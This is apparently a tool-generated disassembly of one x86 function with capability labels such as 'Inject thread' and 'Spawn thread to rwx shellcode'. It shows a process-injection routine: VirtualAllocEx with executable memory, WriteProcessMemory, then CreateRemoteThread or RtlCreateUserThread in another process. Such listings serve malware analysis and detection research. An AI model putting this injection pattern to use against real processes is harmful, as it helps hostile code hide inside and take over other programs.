Function at 0x196b4040
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
push eax
call fcn.196b3b00
add esp, 4
test eax, eax
je 0x196b4069
jmp 0x196b42a1
mov ecx, dword [ebp + 0xc]
push ecx
push 0x43a
call fcn.196b1cf0
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x196b4088
jmp 0x196b42a1
mov edx, dword [ebp - 8]
push edx
call fcn.196b1f60
add esp, 4
test eax, eax
je 0x196b409d
jmp 0x196b42a1
mov eax, dword [ebp + 8]
push eax
call fcn.196b26a0
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x196b40b7
jmp 0x196b42a1
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.196b3010
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x196b40d1
jmp 0x196b42a1
call fcn.196b2690
push eax
call fcn.196b26a0
add esp, 4
cmp dword [ebp - 0x14], eax
je 0x196b4104
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.196b3f30
add esp, 0x10
mov dword [ebp - 4], eax
jmp 0x196b42a1
mov eax, dword [ebp + 0xc]
push eax
call fcn.196b3ee0
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x196b411c
jmp 0x196b42a1
push 0x40
push 0x1000
mov edx, dword [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x196b4141
jmp 0x196b42a1
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x196b427e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 8]
sub ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
push 4
push 0x1000
push 8
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp + 0x10], eax
cmp dword [ebp + 0x10], 0
je 0x196b427e
lea eax, [ebp - 0x18]
push eax
push 8
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, 0x196b3d70
sub edx, dword [ebp - 0x14]
add edx, dword [ebp - 0xc]
mov dword [ebp + 8], edx
mov dword [ebp - 0x24], 0
push 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x196b4217
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.196b3cf0
add esp, 0xc
movzx eax, al
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 4], eax
jmp 0x196b425d
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jl 0x196b425d
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.196b3cf0
add esp, 0xc
movzx edx, al
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x24]
push eax
call fcn.196b1ba0
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 4], 0
jne 0x196b4299
push 0x8000
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor edx, edx
jne 0x196b4054
mov eax, dword [ebp - 8]
push eax
call fcn.196b1ba0
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret